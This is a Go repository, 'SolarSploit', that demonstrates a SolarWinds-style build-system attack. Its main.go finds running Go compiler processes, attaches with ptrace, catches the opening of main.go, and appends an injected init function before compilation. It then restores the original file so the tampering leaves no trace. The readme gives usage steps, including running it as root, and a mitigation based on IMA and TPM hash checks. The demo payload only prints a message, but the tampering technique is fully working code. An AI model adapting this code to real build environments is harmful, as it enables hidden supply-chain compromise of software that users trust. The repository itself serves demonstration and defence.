├── .gitignore ├── LICENSE ├── go.mod ├── go.sum ├── main.go └── readme.md /.gitignore: -------------------------------------------------------------------------------- 1 | main 2 | solarsploit -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 TestifySec, LLC. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/testifysec/solarsploit 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/mitchellh/go-ps v1.0.0 7 | github.com/seccomp/libseccomp-golang v0.9.1 8 | ) 9 | 10 | require github.com/davecgh/go-spew v1.1.1 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= 4 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= 5 | github.com/seccomp/libseccomp-golang v0.9.1 h1:NJjM5DNFOs0s3kYE1WUOr6G8V97sdt46rlXTMfXGWBo= 6 | github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo= 7 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "C" 4 | 5 | import ( 6 | "fmt" 7 | "io/ioutil" 8 | "log" 9 | "os" 10 | "os/signal" 11 | "runtime" 12 | "strings" 13 | "syscall" 14 | 15 | ps "github.com/mitchellh/go-ps" 16 | sec "github.com/seccomp/libseccomp-golang" 17 | ) 18 | 19 | const hackerstring string = ` 20 | func init() { 21 | fmt.Println("Your code is hacked") 22 | } 23 | ` 24 | 25 | type target struct { 26 | pid int 27 | cleanSource []byte 28 | path string 29 | proc os.Process 30 | isPatched bool 31 | } 32 | 33 | type syscallTask struct { 34 | ID uint64 35 | Name string 36 | } 37 | 38 | func (t *target) detach() error { 39 | err := syscall.PtraceDetach(t.pid) 40 | if err != nil { 41 | log.Printf("Error detaching, %v", err) 42 | return err 43 | } 44 | return nil 45 | } 46 | 47 | func (t *target) patch() error { 48 | log.Printf("Patching %s", t.path) 49 | 50 | data, err := ioutil.ReadFile(t.path) 51 | if err != nil { 52 | log.Printf("Error Reading file %v", err) 53 | return err 54 | } 55 | 56 | // add init function 57 | f, err := os.OpenFile(t.path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 58 | if err != nil { 59 | log.Printf("Error Opening File, %v", err) 60 | return err 61 | } 62 | 63 | if _, err := f.WriteString(hackerstring); err != nil { 64 | log.Printf("Error writing to file, %v", err) 65 | } 66 | 67 | t.cleanSource = data 68 | return nil 69 | } 70 | 71 | func (t *target) clean() error { 72 | if !t.isPatched { 73 | return nil 74 | } 75 | log.Printf("Cleaning %s", t.path) 76 | f, err := os.OpenFile(t.path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0755) 77 | if err != nil { 78 | log.Printf("Error opening file %v", err) 79 | return err 80 | } 81 | 82 | _, err = f.Write(t.cleanSource) 83 | if err != nil { 84 | log.Printf("Error writing file %v", err) 85 | return err 86 | } 87 | 88 | err = f.Close() 89 | if err != nil { 90 | log.Printf("Error closing file %v", err) 91 | return err 92 | } 93 | return nil 94 | } 95 | 96 | func (t *target) trace() error { 97 | t.isPatched = false 98 | runtime.LockOSThread() 99 | var regs syscall.PtraceRegs 100 | //wait Waiting state 101 | var wsstatus syscall.WaitStatus 102 | var err error 103 | 104 | pid := t.proc.Pid 105 | 106 | err = syscall.PtraceAttach(pid) 107 | if err != nil { 108 | fmt.Println(err) 109 | return err 110 | } 111 | 112 | syscall.Wait4(pid, &wsstatus, 0, nil) 113 | // If you exit abnormally , Then disconnect 114 | defer func() { 115 | // Yes PTRACE_DETACH Encapsulation , Disconnect from the tracker 116 | err = syscall.PtraceDetach(pid) 117 | if err != nil { 118 | fmt.Println("PtraceDetach err :", err) 119 | return 120 | } 121 | syscall.Wait4(pid, &wsstatus, 0, nil) 122 | }() 123 | 124 | for { 125 | syscall.PtraceSyscall(pid, 0) 126 | // Use wait system call , And pass in the waiting status pointer 127 | _, err := syscall.Wait4(pid, &wsstatus, 0, nil) 128 | if err != nil { 129 | fmt.Println("line 501", err) 130 | return err 131 | } 132 | 133 | if wsstatus.Exited() { 134 | fmt.Println("------exit status", wsstatus.ExitStatus()) 135 | return nil 136 | } 137 | 138 | if wsstatus.StopSignal().String() == "interrupt" { 139 | syscall.PtraceSyscall(pid, int(wsstatus.StopSignal())) 140 | fmt.Println("send interrupt sig to pid ") 141 | // Print tracee Exit code 142 | fmt.Println("------exit status", wsstatus.ExitStatus()) 143 | return nil 144 | } 145 | 146 | err = syscall.PtraceGetRegs(pid, ®s) 147 | if err != nil { 148 | fmt.Println("PtraceGetRegs err :", err.Error()) 149 | return nil 150 | } 151 | 152 | name, _ := sec.ScmpSyscall(regs.Orig_rax).GetName() 153 | if name == "openat" { 154 | path, err := readString(pid, uintptr(regs.Rsi)) 155 | if err != nil { 156 | fmt.Println("openat path error %v", err) 157 | } 158 | 159 | if strings.Contains(path, "main.go") { 160 | t.path = path 161 | fmt.Printf("Path: %s\n", t.path) 162 | fmt.Printf("Name: %s\n", name) 163 | if !t.isPatched { 164 | err = t.patch() 165 | } 166 | if err != nil { 167 | log.Printf("Error patching file, %v", err) 168 | return err 169 | } 170 | t.isPatched = true 171 | 172 | } 173 | } 174 | 175 | syscall.PtraceSyscall(pid, 0) 176 | _, err = syscall.Wait4(pid, &wsstatus, 0, nil) 177 | if err != nil { 178 | fmt.Println("line 518", err) 179 | return err 180 | } 181 | // If tracee sign out , Print the exit code of the process 182 | if wsstatus.Exited() { 183 | fmt.Println("------exit status", wsstatus.ExitStatus()) 184 | return nil 185 | } 186 | // ditto , Determine whether the process is interrupted by a signal 187 | if wsstatus.StopSignal().String() == "interrupt" { 188 | syscall.PtraceSyscall(pid, int(wsstatus.StopSignal())) 189 | fmt.Println("send interrupt sig to pid ") 190 | fmt.Println("------exit status", wsstatus.ExitStatus()) 191 | } 192 | // Get the status of the returned register 193 | err = syscall.PtraceGetRegs(pid, ®s) 194 | if err != nil { 195 | fmt.Println("PtraceGetRegs err :", err.Error()) 196 | return err 197 | } 198 | // Print the return value parameter stored in the register 199 | //fmt.Println("syscall return:", regs.Rax) 200 | } 201 | 202 | } 203 | 204 | func main() { 205 | 206 | pids := []int{} 207 | 208 | log.Printf("Starting") 209 | targets := make(chan target, 1) 210 | c := make(chan os.Signal) 211 | 212 | signal.Notify(c, os.Interrupt, syscall.SIGTERM) 213 | 214 | go func() { 215 | <-c 216 | os.Exit(1) 217 | }() 218 | 219 | go func() { 220 | for { 221 | activeTarget := <-targets 222 | err := activeTarget.trace() 223 | if err != nil { 224 | log.Printf(err.Error()) 225 | 226 | } else { 227 | activeTarget.clean() 228 | } 229 | 230 | } 231 | 232 | }() 233 | 234 | //find new targets 235 | 236 | for { 237 | procs, err := ps.Processes() 238 | if err != nil { 239 | log.Printf("Error finding procs: %v", err) 240 | } 241 | 242 | for _, proc := range procs { 243 | if !contains(pids, proc.Pid()) { 244 | if proc.Executable() == "go" { 245 | 246 | process, err := os.FindProcess(proc.Pid()) 247 | if err != nil { 248 | log.Printf("%v", err) 249 | 250 | } 251 | 252 | newTarget := target{ 253 | pid: proc.Pid(), 254 | proc: *process, 255 | } 256 | 257 | pids = append(pids, proc.Pid()) 258 | log.Printf("New Active Target PID: %d", proc.Pid()) 259 | targets <- newTarget 260 | 261 | } 262 | } 263 | } 264 | } 265 | 266 | } 267 | 268 | func readString(pid int, addr uintptr) (string, error) { 269 | data := make([]byte, 4096) 270 | bytes_copied, _ := syscall.PtracePeekData(pid, addr, data) 271 | if bytes_copied == 0 { 272 | return "", fmt.Errorf("0-byte string returned") 273 | } 274 | str := C.GoString((*C.char)(C.CBytes(data))) 275 | return str, nil 276 | } 277 | 278 | func contains(s []int, e int) bool { 279 | for _, a := range s { 280 | if a == e { 281 | return true 282 | } 283 | } 284 | return false 285 | } 286 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # SolarSploit 2 | 3 | Sample malicious program that emulates the SolarWinds attack vector. 4 | 5 | 1. Listen for processes that use the go compiler 6 | 2. Wait for a syscall to open a main.go file 7 | 3. Pause compiler process. 8 | 4. Modify contents of main.go, cache legitimate copy. 9 | 5. Start compiler 10 | 6. Replace contents of trojanized file with the original. 11 | 12 | ## How to use 13 | 14 | **Warning** this software will modify files in your system. Use in a non-production environment only. This does not work 100% of the time. I think there are some issues with the way Go handles threading, which occasionally causes the tracing to fail. If you have a fix please submit a PR. 15 | 16 | 17 | 1. compile program 18 | `go build .` 19 | 2. Run `solarsploit` as root 20 | 3. In another terminal compile a Go program that includes a file name of `main.go` 21 | 4. `Solarsploit` will inject the following `init function` 22 | ``` 23 | func init() { 24 | fmt.Println("Your code is hacked") 25 | } 26 | ``` 27 | 28 | ## How to mitigate 29 | 30 | Set the IMA policy to `tcb` 31 | ```GRUB_CMDLINE_LINUX="ima_policy=tcb ima_hash=sha256 ima=on"``` 32 | 33 | Inspect the IMA log and compare the SHASUM hash of the input files to the value in the logs. Then, verify the log by calculating the aggregate of all of the IMA checksums to the value in PCR register 10 of the TPM device; they should match. 34 | 35 | ![Screenshot from 2021-09-28 23-18-24](https://user-images.githubusercontent.com/6634325/135206145-da183619-2911-48a5-a458-4f7fa3756a56.png) 36 | 37 | ref: https://github.com/testifysec/go-ima 38 | --------------------------------------------------------------------------------